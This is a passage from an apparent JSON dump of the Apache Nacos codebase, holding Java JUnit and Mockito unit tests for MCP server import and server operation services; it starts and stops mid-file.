            .thenThrow(new RuntimeException(\"Invalid data\"));\n\n        // When\n        McpServerImportResponse response = importService.executeImport(\"test-namespace\", request);\n\n        // Then\n        assertNotNull(response);\n        assertFalse(response.isSuccess());\n        assertNotNull(response.getErrorMessage());\n        assertTrue(response.getErrorMessage().contains(\"Import validation failed\"));\n    }\n\n    @Test\n    void testExecuteImportSuccess() throws Exception {\n        // Given\n        McpServerImportRequest request = new McpServerImportRequest();\n        request.setData(\"{\\\"servers\\\":[]}\");\n        request.setImportType(\"json\");\n        request.setSelectedServers(new String[] {\"server1\"});\n        request.setOverrideExisting(false);\n\n        // Mock transformation\n        List<McpServerDetailInfo> servers = new ArrayList<>();\n        McpServerDetailInfo server = new McpServerDetailInfo();\n        server.setId(\"server1\");\n        server.setName(\"Test Server\");\n        servers.add(server);\n        when(transformService.adaptExternalDataToNacosMcpServerFormat(any()))\n                .thenReturn(servers);\n\n        // Mock validation\n        McpServerImportValidationResult validationResult = new McpServerImportValidationResult();\n        validationResult.setValid(true);\n        McpServerValidationItem item = new McpServerValidationItem();\n        item.setServerId(\"server1\");\n        item.setServerName(\"Test Server\");\n        item.setStatus(McpServerValidationConstants.STATUS_VALID);\n        item.setExists(false);\n        item.setServer(server);\n        List<McpServerValidationItem> validationItems = new ArrayList<>();\n        validationItems.add(item);\n        validationResult.setServers(validationItems);\n        when(validationService.validateServers(anyString(), any())).thenReturn(validationResult);\n\n        // When\n        McpServerImportResponse response = importService.executeImport(\"test-namespace\", request);\n\n        // Then\n        assertNotNull(response);\n        assertTrue(response.isSuccess());\n        assertEquals(1, response.getTotalCount());\n        assertEquals(1, response.getSuccessCount());\n        assertEquals(0, response.getFailedCount());\n        assertEquals(0, response.getSkippedCount());\n    }\n\n    @Test\n    void testExecuteImportWithSkipInvalidAndNoValidServers() throws Exception {\n        // Given\n        McpServerImportRequest request = new McpServerImportRequest();\n        request.setData(\"data\");\n        request.setImportType(\"json\");\n        request.setSkipInvalid(true); // Skip invalid servers\n\n        // Mock transformation\n        List<McpServerDetailInfo> servers = new ArrayList<>();\n        when(transformService.adaptExternalDataToNacosMcpServerFormat(any())).thenReturn(\n                servers);\n\n        // Mock validation - invalid result with no valid servers\n        McpServerImportValidationResult validationResult = new McpServerImportValidationResult();\n        validationResult.setValid(false);\n        List<String> errors = new ArrayList<>();\n        errors.add(\"Validation error\");\n        validationResult.setErrors(errors);\n        validationResult.setServers(new ArrayList<>()); // Empty servers list\n        when(validationService.validateServers(anyString(), any())).thenReturn(validationResult);\n\n        // When\n        McpServerImportResponse response = importService.executeImport(\"test-namespace\", request);\n\n        // Then\n        assertNotNull(response);\n        assertTrue(response.isSuccess()); // Should be true since skipInvalid is true and no servers to import\n        assertEquals(0, response.getTotalCount());\n    }\n\n    @Test\n    void testExecuteImportWithSkipInvalidAndHasValidServers() throws Exception {\n        // Given\n        McpServerImportRequest request = new McpServerImportRequest();\n        request.setData(\"{\\\"servers\\\":[]}\");\n        request.setImportType(\"json\");\n        request.setSkipInvalid(true); // Skip invalid servers\n        request.setOverrideExisting(false);\n\n        // Mock transformation\n        List<McpServerDetailInfo> servers = new ArrayList<>();\n        McpServerDetailInfo server = new McpServerDetailInfo();\n        server.setId(\"server1\");\n        server.setName(\"Test Server\");\n        servers.add(server);\n        when(transformService.adaptExternalDataToNacosMcpServerFormat(any())).thenReturn(servers);\n\n        // Mock validation - mixed result with some invalid and some valid\n        McpServerImportValidationResult validationResult = new McpServerImportValidationResult();\n        validationResult.setValid(false); // Overall invalid\n        List<String> errors = new ArrayList<>();\n        errors.add(\"Some validation errors\");\n        validationResult.setErrors(errors);\n        validationResult.setInvalidCount(1);\n\n        McpServerValidationItem item = new McpServerValidationItem();\n        item.setServerId(\"server1\");\n        item.setServerName(\"Test Server\");\n        item.setStatus(McpServerValidationConstants.STATUS_VALID);\n        item.setExists(false);\n        item.setServer(server);\n        List<McpServerValidationItem> validationItems = new ArrayList<>();\n        validationItems.add(item);\n        validationResult.setServers(validationItems);\n        when(validationService.validateServers(anyString(), any())).thenReturn(validationResult);\n\n        // When\n        McpServerImportResponse response = importService.executeImport(\"test-namespace\", request);\n\n        // Then\n        assertNotNull(response);\n        // Since skipInvalid is true and there are valid servers, import should succeed\n        assertTrue(response.isSuccess());\n        assertEquals(1, response.getTotalCount());\n        assertEquals(1, response.getSuccessCount());\n        assertEquals(0, response.getFailedCount());\n        assertEquals(0, response.getSkippedCount());\n    }\n\n    @Test\n    void testExecuteImportWithExceptionInImportProcess() throws Exception {\n        // When\n        McpServerImportResponse response = importService.executeImport(\"test-namespace\", null);\n\n        // Then\n        assertNotNull(response);\n        assertFalse(response.isSuccess());\n        assertTrue(response.getErrorMessage().contains(\"Import execution failed\"));\n    }\n\n    @Test\n    void testExecuteImportWithNullValidationServers() throws Exception {\n        // Given\n        McpServerImportRequest request = new McpServerImportRequest();\n        request.setData(\"data\");\n        request.setImportType(\"json\");\n        request.setOverrideExisting(false);\n\n        // Mock transformation\n        List<McpServerDetailInfo> servers = new ArrayList<>();\n        when(transformService.adaptExternalDataToNacosMcpServerFormat(any())).thenReturn(\n                servers);\n\n        // Mock validation - valid result but with null servers list\n        McpServerImportValidationResult validationResult = new McpServerImportValidationResult();\n        validationResult.setValid(true);\n        validationResult.setServers(null); // Null servers list\n        when(validationService.validateServers(anyString(), any())).thenReturn(validationResult);\n\n        // When\n        McpServerImportResponse response = importService.executeImport(\"test-namespace\", request);\n\n        // Then\n        assertNotNull(response);\n        assertTrue(response.isSuccess());\n        assertEquals(0, response.getTotalCount());\n        assertEquals(0, response.getSuccessCount());\n        assertEquals(0, response.getFailedCount());\n        assertEquals(0, response.getSkippedCount());\n    }\n\n    @Test\n    void testExecuteImportWithSelectedServersFiltering() throws Exception {\n        // Given\n        McpServerImportRequest request = new McpServerImportRequest();\n        request.setData(\"{\\\"servers\\\":[]}\");\n        request.setImportType(\"json\");\n        request.setSelectedServers(new String[] {\"server1\", \"server3\"}); // Select specific servers\n        request.setOverrideExisting(false);\n\n        // Mock transformation\n        List<McpServerDetailInfo> servers = new ArrayList<>();\n        when(transformService.adaptExternalDataToNacosMcpServerFormat(any())).thenReturn(\n                servers);\n\n        // Mock validation with multiple servers\n        McpServerImportValidationResult validationResult = new McpServerImportValidationResult();\n        validationResult.setValid(true);\n\n        // Server1 - valid and selected\n        McpServerValidationItem item1 = new McpServerValidationItem();\n        item1.setServerId(\"server1\");\n        item1.setServerName(\"Test Server 1\");\n        item1.setStatus(McpServerValidationConstants.STATUS_VALID);\n        item1.setExists(false);\n        McpServerDetailInfo server1 = new McpServerDetailInfo();\n        server1.setId(\"server1\");\n        server1.setName(\"Test Server 1\");\n        item1.setServer(server1);\n\n        // Server2 - valid but not selected (should not be imported)\n        McpServerValidationItem item2 = new McpServerValidationItem();\n        item2.setServerId(\"server2\");\n        item2.setServerName(\"Test Server 2\");\n        item2.setStatus(McpServerValidationConstants.STATUS_VALID);\n        item2.setExists(false);\n        McpServerDetailInfo server2 = new McpServerDetailInfo();\n        server2.setId(\"server2\");\n        server2.setName(\"Test Server 2\");\n        item2.setServer(server2);\n\n        // Server3 - valid and selected\n        McpServerValidationItem item3 = new McpServerValidationItem();\n        item3.setServerId(\"server3\");\n        item3.setServerName(\"Test Server 3\");\n        item3.setStatus(McpServerValidationConstants.STATUS_VALID);\n        item3.setExists(false);\n        McpServerDetailInfo server3 = new McpServerDetailInfo();\n        server3.setId(\"server3\");\n        server3.setName(\"Test Server 3\");\n        item3.setServer(server3);\n\n        List<McpServerValidationItem> validationItems = new ArrayList<>();\n        validationItems.add(item1);\n        validationItems.add(item2);\n        validationItems.add(item3);\n        validationResult.setServers(validationItems);\n        when(validationService.validateServers(anyString(), any())).thenReturn(validationResult);\n\n        // When\n        McpServerImportResponse response = importService.executeImport(\"test-namespace\", request);\n\n        // Then\n        assertNotNull(response);\n        assertTrue(response.isSuccess());\n        // Only server1 and server3 are valid and selected\n        assertEquals(2, response.getTotalCount());\n        assertEquals(2, response.getSuccessCount());\n        assertEquals(0, response.getFailedCount());\n        assertEquals(0, response.getSkippedCount());\n    }\n\n    @Test\n    void testExecuteImportSkipExistingServer() throws Exception {\n        // Given\n        McpServerImportRequest request = new McpServerImportRequest();\n        request.setData(\"{\\\"servers\\\":[]}\");\n        request.setImportType(\"json\");\n        request.setOverrideExisting(false); // Do not override existing servers\n\n        // Mock transformation\n        List<McpServerDetailInfo> servers = new ArrayList<>();\n        when(transformService.adaptExternalDataToNacosMcpServerFormat(any())).thenReturn(\n                servers);\n\n        // Mock validation with existing server\n        McpServerImportValidationResult validationResult = new McpServerImportValidationResult();\n        validationResult.setValid(true);\n\n        McpServerValidationItem item = new McpServerValidationItem();\n        item.setServerId(\"server1\");\n        item.setServerName(\"Test Server\");\n        item.setStatus(McpServerValidationConstants.STATUS_VALID);\n        item.setExists(true); // Server already exists\n        McpServerDetailInfo server = new McpServerDetailInfo();\n        server.setId(\"server1\");\n        server.setName(\"Test Server\");\n        item.setServer(server);\n\n        List<McpServerValidationItem> validationItems = new ArrayList<>();\n        validationItems.add(item);\n        validationResult.setServers(validationItems);\n        when(validationService.validateServers(anyString(), any())).thenReturn(validationResult);\n\n        // When\n        McpServerImportResponse response = importService.executeImport(\"test-namespace\", request);\n\n        // Then\n        assertNotNull(response);\n        assertTrue(response.isSuccess());\n        assertEquals(1, response.getTotalCount());\n        assertEquals(0, response.getSuccessCount());\n        assertEquals(0, response.getFailedCount());\n        assertEquals(1, response.getSkippedCount()); // Server should be skipped\n        verify(operationService, never()).updateMcpServer(anyString(), anyBoolean(), any(), any(), any(), anyBoolean());\n        verify(operationService, never()).createMcpServer(anyString(), any(), any(), any());\n    }\n\n    @Test\n    void testExecuteImportUpdateExistingServer() throws Exception {\n        // Given\n        McpServerImportRequest request = new McpServerImportRequest();\n        request.setData(\"{\\\"servers\\\":[]}\");\n        request.setImportType(\"json\");\n        request.setOverrideExisting(true); // Override existing servers\n\n        // Mock transformation\n        List<McpServerDetailInfo> servers = new ArrayList<>();\n        when(transformService.adaptExternalDataToNacosMcpServerFormat(any())).thenReturn(\n                servers);\n        \n        // Mock existing server in cache index\n        McpServerIndexData data = new McpServerIndexData();\n        when(mcpCacheIndex.getMcpServerByName(eq(\"test-namespace\"), eq(\"Test Server\"))).thenReturn(data);\n\n        // Mock validation with existing server\n        McpServerImportValidationResult validationResult = new McpServerImportValidationResult();\n        validationResult.setValid(true);\n\n        McpServerValidationItem item = new McpServerValidationItem();\n        item.setServerId(\"server1\");\n        item.setServerName(\"Test Server\");\n        item.setStatus(McpServerValidationConstants.STATUS_VALID);\n        item.setExists(true); // Server already exists\n        McpServerDetailInfo server = new McpServerDetailInfo();\n        server.setId(\"server1\");\n        server.setName(\"Test Server\");\n        item.setServer(server);\n\n        List<McpServerValidationItem> validationItems = new ArrayList<>();\n        validationItems.add(item);\n        validationResult.setServers(validationItems);\n        when(validationService.validateServers(anyString(), any())).thenReturn(validationResult);\n\n        // When\n        McpServerImportResponse response = importService.executeImport(\"test-namespace\", request);\n\n        // Then\n        assertNotNull(response);\n        assertTrue(response.isSuccess());\n        assertEquals(1, response.getTotalCount());\n        assertEquals(1, response.getSuccessCount());\n        assertEquals(0, response.getFailedCount());\n        assertEquals(0, response.getSkippedCount());\n        verify(operationService).updateMcpServer(eq(\"test-namespace\"), eq(true), any(), any(), any(), anyBoolean());\n        verify(operationService, never()).createMcpServer(anyString(), any(), any(), any());\n    }\n\n    @Test\n    void testExecuteImportCreateNewServer() throws Exception {\n        // Given\n        McpServerImportRequest request = new McpServerImportRequest();\n        request.setData(\"{\\\"servers\\\":[]}\");\n        request.setImportType(\"json\");\n        request.setOverrideExisting(false); // Do not override existing servers\n\n        // Mock transformation\n        List<McpServerDetailInfo> servers = new ArrayList<>();\n        when(transformService.adaptExternalDataToNacosMcpServerFormat(any())).thenReturn(\n                servers);\n\n        // Mock validation with new server\n        McpServerImportValidationResult validationResult = new McpServerImportValidationResult();\n        validationResult.setValid(true);\n\n        McpServerValidationItem item = new McpServerValidationItem();\n        item.setServerId(\"server1\");\n        item.setServerName(\"Test Server\");\n        item.setStatus(McpServerValidationConstants.STATUS_VALID);\n        item.setExists(false); // Server does not exist\n        McpServerDetailInfo server = new McpServerDetailInfo();\n        server.setId(\"server1\");\n        server.setName(\"Test Server\");\n        item.setServer(server);\n\n        List<McpServerValidationItem> validationItems = new ArrayList<>();\n        validationItems.add(item);\n        validationResult.setServers(validationItems);\n        when(validationService.validateServers(anyString(), any())).thenReturn(validationResult);\n\n        // When\n        McpServerImportResponse response = importService.executeImport(\"test-namespace\", request);\n\n        // Then\n        assertNotNull(response);\n        assertTrue(response.isSuccess());\n        assertEquals(1, response.getTotalCount());\n        assertEquals(1, response.getSuccessCount());\n        assertEquals(0, response.getFailedCount());\n        assertEquals(0, response.getSkippedCount());\n        verify(operationService).createMcpServer(eq(\"test-namespace\"), any(), any(), any());\n        verify(operationService, never()).updateMcpServer(anyString(), anyBoolean(), any(), any(), any(), anyBoolean());\n    }\n\n    @Test\n    void testExecuteImportWithEndpointSpecConversion() throws Exception {\n        // Given\n        McpServerImportRequest request = new McpServerImportRequest();\n        request.setData(\"{\\\"servers\\\":[]}\");\n        request.setImportType(\"json\");\n        request.setOverrideExisting(false);\n\n        // Mock transformation\n        List<McpServerDetailInfo> servers = new ArrayList<>();\n        when(transformService.adaptExternalDataToNacosMcpServerFormat(any())).thenReturn(\n                servers);\n\n        // Mock validation with server that has endpoint config\n        McpServerImportValidationResult validationResult = new McpServerImportValidationResult();\n        validationResult.setValid(true);\n\n        McpServerValidationItem item = new McpServerValidationItem();\n        item.setServerId(\"server1\");\n        item.setServerName(\"Test Server\");\n        item.setStatus(McpServerValidationConstants.STATUS_VALID);\n        item.setExists(false);\n\n        McpServerDetailInfo server = new McpServerDetailInfo();\n        server.setId(\"server1\");\n        server.setName(\"Test Server\");\n        server.setProtocol(\"http\");\n\n        McpServerRemoteServiceConfig remoteConfig = new McpServerRemoteServiceConfig();\n        FrontEndpointConfig endpointConfig = new FrontEndpointConfig();\n        endpointConfig.setEndpointType(AiConstants.Mcp.MCP_ENDPOINT_TYPE_DIRECT);\n        endpointConfig.setEndpointData(\"127.0.0.1:8080\");\n        remoteConfig.setFrontEndpointConfigList(Arrays.asList(endpointConfig));\n        server.setRemoteServerConfig(remoteConfig);\n\n        item.setServer(server);\n\n        List<McpServerValidationItem> validationItems = new ArrayList<>();\n        validationItems.add(item);\n        validationResult.setServers(validationItems);\n        when(validationService.validateServers(anyString(), any())).thenReturn(validationResult);\n\n        // When\n        McpServerImportResponse response = importService.executeImport(\"test-namespace\", request);\n\n        // Then\n        assertNotNull(response);\n        assertTrue(response.isSuccess());\n        assertEquals(1, response.getTotalCount());\n        assertEquals(1, response.getSuccessCount());\n        verify(operationService).createMcpServer(eq(\"test-namespace\"), any(), any(), any());\n    }\n\n    @Test\n    void testExecuteImportWithStdioProtocolNoEndpointSpec() throws Exception {\n        // Given\n        McpServerImportRequest request = new McpServerImportRequest();\n        request.setData(\"{\\\"servers\\\":[]}\");\n        request.setImportType(\"json\");\n        request.setOverrideExisting(false);\n\n        // Mock transformation\n        List<McpServerDetailInfo> servers = new ArrayList<>();\n        when(transformService.adaptExternalDataToNacosMcpServerFormat(any())).thenReturn(\n                servers);\n\n        // Mock validation with server that has stdio protocol\n        McpServerImportValidationResult validationResult = new McpServerImportValidationResult();\n        validationResult.setValid(true);\n\n        McpServerValidationItem item = new McpServerValidationItem();\n        item.setServerId(\"server1\");\n        item.setServerName(\"Test Server\");\n        item.setStatus(McpServerValidationConstants.STATUS_VALID);\n        item.setExists(false);\n\n        McpServerDetailInfo server = new McpServerDetailInfo();\n        server.setId(\"server1\");\n        server.setName(\"Test Server\");\n        server.setProtocol(AiConstants.Mcp.MCP_PROTOCOL_STDIO); // STDIO protocol\n\n        item.setServer(server);\n\n        List<McpServerValidationItem> validationItems = new ArrayList<>();\n        validationItems.add(item);\n        validationResult.setServers(validationItems);\n        when(validationService.validateServers(anyString(), any())).thenReturn(validationResult);\n\n        // When\n        McpServerImportResponse response = importService.executeImport(\"test-namespace\", request);\n\n        // Then\n        assertNotNull(response);\n        assertTrue(response.isSuccess());\n        assertEquals(1, response.getTotalCount());\n        assertEquals(1, response.getSuccessCount());\n        verify(operationService).createMcpServer(eq(\"test-namespace\"), any(), any(), any());\n    }\n\n    @Test\n    void testExecuteImportFailureDuringServerCreation() throws Exception {\n        // Given\n        McpServerImportRequest request = new McpServerImportRequest();\n        request.setData(\"{\\\"servers\\\":[]}\");\n        request.setImportType(\"json\");\n        request.setOverrideExisting(false);\n\n        // Mock transformation\n        List<McpServerDetailInfo> servers = new ArrayList<>();\n        when(transformService.adaptExternalDataToNacosMcpServerFormat(any())).thenReturn(\n                servers);\n\n        // Mock validation\n        McpServerImportValidationResult validationResult = new McpServerImportValidationResult();\n        validationResult.setValid(true);\n\n        McpServerValidationItem item = new McpServerValidationItem();\n        item.setServerId(\"server1\");\n        item.setServerName(\"Test Server\");\n        item.setStatus(McpServerValidationConstants.STATUS_VALID);\n        item.setExists(false);\n\n        McpServerDetailInfo server = new McpServerDetailInfo();\n        server.setId(\"server1\");\n        server.setName(\"Test Server\");\n        item.setServer(server);\n\n        List<McpServerValidationItem> validationItems = new ArrayList<>();\n        validationItems.add(item);\n        validationResult.setServers(validationItems);\n        when(validationService.validateServers(anyString(), any())).thenReturn(validationResult);\n\n        // Mock operation service to throw exception\n        doThrow(new NacosException(500, \"Failed to create server\")).when(operationService)\n                .createMcpServer(anyString(), any(), any(), any());\n\n        // When\n        McpServerImportResponse response = importService.executeImport(\"test-namespace\", request);\n\n        // Then\n        assertNotNull(response);\n        assertFalse(response.isSuccess());\n        assertEquals(1, response.getTotalCount());\n        assertEquals(0, response.getSuccessCount());\n        assertEquals(1, response.getFailedCount());\n        assertEquals(0, response.getSkippedCount());\n        assertNotNull(response.getResults());\n        assertEquals(1, response.getResults().size());\n        assertEquals(\"failed\", response.getResults().get(0).getStatus());\n    }\n\n    @Test\n    void testExecuteImportWithEndpointSpecExceptionHandling() throws Exception {\n        // Given\n        McpServerImportRequest request = new McpServerImportRequest();\n        request.setData(\"{\\\"servers\\\":[]}\");\n        request.setImportType(\"json\");\n        request.setOverrideExisting(false);\n\n        // Mock transformation\n        List<McpServerDetailInfo> servers = new ArrayList<>();\n        when(transformService.adaptExternalDataToNacosMcpServerFormat(any())).thenReturn(\n                servers);\n\n        // Mock validation with server that causes exception in endpoint spec conversion\n        McpServerImportValidationResult validationResult = new McpServerImportValidationResult();\n        validationResult.setValid(true);\n\n        McpServerValidationItem item = new McpServerValidationItem();\n        item.setServerId(\"server1\");\n        item.setServerName(\"Test Server\");\n        item.setStatus(McpServerValidationConstants.STATUS_VALID);\n        item.setExists(false);\n\n        McpServerDetailInfo server = new McpServerDetailInfo();\n        server.setId(\"server1\");\n        server.setName(\"Test Server\");\n        server.setProtocol(\"http\");\n\n        McpServerRemoteServiceConfig remoteConfig = new McpServerRemoteServiceConfig();\n        FrontEndpointConfig endpointConfig = new FrontEndpointConfig();\n        // Create an object that will cause exception when processed in convertToEndpointSpec\n        endpointConfig.setEndpointData(new Object() {\n            @Override\n            public String toString() {\n                throw new RuntimeException(\"Test exception\");\n            }\n        });\n        remoteConfig.setFrontEndpointConfigList(Arrays.asList(endpointConfig));\n        server.setRemoteServerConfig(remoteConfig);\n\n        item.setServer(server);\n\n        List<McpServerValidationItem> validationItems = new ArrayList<>();\n        validationItems.add(item);\n        validationResult.setServers(validationItems);\n        when(validationService.validateServers(anyString(), any())).thenReturn(validationResult);\n\n        // When\n        McpServerImportResponse response = importService.executeImport(\"test-namespace\", request);\n\n        // Then\n        assertNotNull(response);\n        // Since the exception is thrown in endpoint spec conversion, the server import should fail\n        assertFalse(response.isSuccess());\n        assertEquals(1, response.getTotalCount());\n        assertEquals(0, response.getSuccessCount());\n        assertEquals(1, response.getFailedCount());\n        verify(operationService, never()).createMcpServer(eq(\"test-namespace\"), any(), any(), any());\n    }\n}"
  },
  {
    "path": "ai/src/test/java/com/alibaba/nacos/ai/service/McpServerOperationServiceTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.service;\n\nimport com.alibaba.nacos.ai.constant.Constants;\nimport com.alibaba.nacos.ai.index.McpServerIndex;\nimport com.alibaba.nacos.ai.model.mcp.McpServerIndexData;\nimport com.alibaba.nacos.ai.model.mcp.McpServerStorageInfo;\nimport com.alibaba.nacos.ai.utils.McpConfigUtils;\nimport com.alibaba.nacos.api.ai.constant.AiConstants;\nimport com.alibaba.nacos.api.ai.model.mcp.FrontEndpointConfig;\nimport com.alibaba.nacos.api.ai.model.mcp.McpEndpointSpec;\nimport com.alibaba.nacos.api.ai.model.mcp.EncryptObject;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerBasicInfo;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerDetailInfo;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerRemoteServiceConfig;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerVersionInfo;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServiceRef;\nimport com.alibaba.nacos.api.ai.model.mcp.McpTool;\nimport com.alibaba.nacos.api.ai.model.mcp.McpToolSpecification;\nimport com.alibaba.nacos.api.ai.model.mcp.registry.ServerVersionDetail;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport com.alibaba.nacos.config.server.model.ConfigRequestInfo;\nimport com.alibaba.nacos.config.server.model.form.ConfigFormV3;\nimport com.alibaba.nacos.config.server.service.ConfigOperationService;\nimport com.alibaba.nacos.config.server.service.query.ConfigQueryChainService;\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainRequest;\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainResponse;\nimport com.alibaba.nacos.naming.core.v2.pojo.Service;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.ArgumentCaptor;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.util.Collections;\nimport java.util.HashMap;\nimport java.util.LinkedList;\nimport java.util.List;\nimport java.util.UUID;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.anyString;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.ArgumentMatchers.isNull;\nimport static org.mockito.Mockito.doThrow;\nimport static org.mockito.Mockito.never;\nimport static org.mockito.Mockito.times;\nimport static org.mockito.Mockito.verify;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\nclass McpServerOperationServiceTest {\n    \n    @Mock\n    private ConfigQueryChainService configQueryChainService;\n    \n    @Mock\n    private ConfigOperationService configOperationService;\n    \n    @Mock\n    private McpToolOperationService toolOperationService;\n    \n    @Mock\n    private McpEndpointOperationService endpointOperationService;\n    \n    @Mock\n    private McpServerIndex mcpServerIndex;\n    \n    @Mock\n    private SyncEffectService syncEffectService;\n    \n    McpServerOperationService serverOperationService;\n    \n    @BeforeEach\n    void setUp() {\n        serverOperationService = new McpServerOperationService(configQueryChainService, configOperationService,\n                toolOperationService, endpointOperationService, mcpServerIndex, syncEffectService);\n    }\n    \n    @AfterEach\n    void tearDown() {\n    }\n    \n    @Test\n    void listMcpServerWithPage() {\n        String id = mockId();\n        Page<McpServerIndexData> mockIndexData = mockIndexData(id);\n        McpServerVersionInfo mockMcpServer = mockServerVersionInfo(id);\n        when(mcpServerIndex.searchMcpServerByNameWithPage(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, null,\n                Constants.MCP_LIST_SEARCH_ACCURATE, 1, 100)).thenReturn(mockIndexData);\n        ConfigQueryChainResponse mockResponse = mockConfigQueryChainResponse(mockMcpServer);\n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class))).thenReturn(mockResponse);\n        Page<McpServerBasicInfo> result = serverOperationService.listMcpServerWithPage(\n                AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, null, Constants.MCP_LIST_SEARCH_ACCURATE, 1, 100);\n        assertEquals(1, result.getPageNumber());\n        assertEquals(1, result.getPagesAvailable());\n        assertEquals(1, result.getTotalCount());\n        assertEquals(1, result.getPageItems().size());\n        assertEquals(id, result.getPageItems().get(0).getId());\n        assertEquals(\"mcpName\", result.getPageItems().get(0).getName());\n        assertEquals(\"9.9.9\", result.getPageItems().get(0).getVersion());\n    }\n    \n    @Test\n    void listMcpServerWithOverPageNo() {\n        Page<McpServerIndexData> mockIndexData = new Page<>();\n        mockIndexData.setPageNumber(10);\n        mockIndexData.setPagesAvailable(1);\n        mockIndexData.setTotalCount(1);\n        mockIndexData.setPageItems(Collections.emptyList());\n        when(mcpServerIndex.searchMcpServerByNameWithPage(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, null,\n                Constants.MCP_LIST_SEARCH_ACCURATE, 10, 100)).thenReturn(mockIndexData);\n        Page<McpServerBasicInfo> result = serverOperationService.listMcpServerWithPage(\n                AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, null, Constants.MCP_LIST_SEARCH_ACCURATE, 10, 100);\n        assertEquals(10, result.getPageNumber());\n        assertEquals(1, result.getPagesAvailable());\n        assertEquals(1, result.getTotalCount());\n        assertEquals(0, result.getPageItems().size());\n    }\n    \n    @Test\n    void getMcpServerDetailByIdFoundStdioTypeWithToolsWithNamespace() throws NacosException {\n        String id = mockId();\n        ConfigQueryChainResponse versionDataResponse = mockConfigQueryChainResponse(mockServerVersionInfo(id));\n        ConfigQueryChainResponse storageDataResponse = mockConfigQueryChainResponse(\n                mockStorageInfo(id, true, true, AiConstants.Mcp.MCP_PROTOCOL_STDIO));\n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class))).thenReturn(versionDataResponse,\n                storageDataResponse);\n        when(toolOperationService.getMcpTool(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE,\n                McpConfigUtils.formatServerToolSpecDataId(id, \"9.9.9\"))).thenReturn(new McpToolSpecification());\n        McpServerDetailInfo actual = serverOperationService.getMcpServerDetail(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE,\n                id, null, null);\n        assertEquals(id, actual.getId());\n        assertEquals(\"mcpName\", actual.getName());\n        assertEquals(\"9.9.9\", actual.getVersion());\n        assertEquals(\"9.9.9\", actual.getVersionDetail().getVersion());\n        assertTrue(actual.getVersionDetail().getIs_latest());\n        assertNotNull(actual.getToolSpec());\n    }\n    \n    @Test\n    void getMcpServerDetailByIdFoundSseTypeWithoutToolsWithNamespace() throws NacosException {\n        String id = mockId();\n        final ConfigQueryChainResponse versionDataResponse = mockConfigQueryChainResponse(mockServerVersionInfo(id));\n        final McpServerStorageInfo mockStorageInfo = mockStorageInfo(id, true, false, AiConstants.Mcp.MCP_PROTOCOL_SSE);\n        final McpServerRemoteServiceConfig remoteServiceConfig = new McpServerRemoteServiceConfig();\n        McpServiceRef serviceRef = new McpServiceRef();\n        serviceRef.setNamespaceId(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE);\n        serviceRef.setNamespaceId(Constants.MCP_SERVER_ENDPOINT_GROUP);\n        serviceRef.setServiceName(\"mcpName\");\n        remoteServiceConfig.setServiceRef(serviceRef);\n        mockStorageInfo.setRemoteServerConfig(remoteServiceConfig);\n        ConfigQueryChainResponse storageDataResponse = mockConfigQueryChainResponse(mockStorageInfo);\n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class))).thenReturn(versionDataResponse,\n                storageDataResponse);\n        Instance instance = new Instance();\n        instance.setIp(\"127.0.0.1\");\n        instance.setPort(8848);\n        when(endpointOperationService.getMcpServerEndpointInstances(any(McpServiceRef.class))).thenReturn(\n                Collections.singletonList(instance));\n        McpServerDetailInfo actual = serverOperationService.getMcpServerDetail(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE,\n                id, null, null);\n        assertEquals(id, actual.getId());\n        assertEquals(\"mcpName\", actual.getName());\n        assertEquals(\"9.9.9\", actual.getVersion());\n        assertEquals(\"9.9.9\", actual.getVersionDetail().getVersion());\n        assertTrue(actual.getVersionDetail().getIs_latest());\n        assertNull(actual.getToolSpec());\n        verify(toolOperationService, never()).getMcpTool(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE,\n                McpConfigUtils.formatServerToolSpecDataId(id, \"9.9.9\"));\n        assertEquals(\"127.0.0.1\", actual.getBackendEndpoints().get(0).getAddress());\n        assertEquals(8848, actual.getBackendEndpoints().get(0).getPort());\n    }\n    \n    @Test\n    void 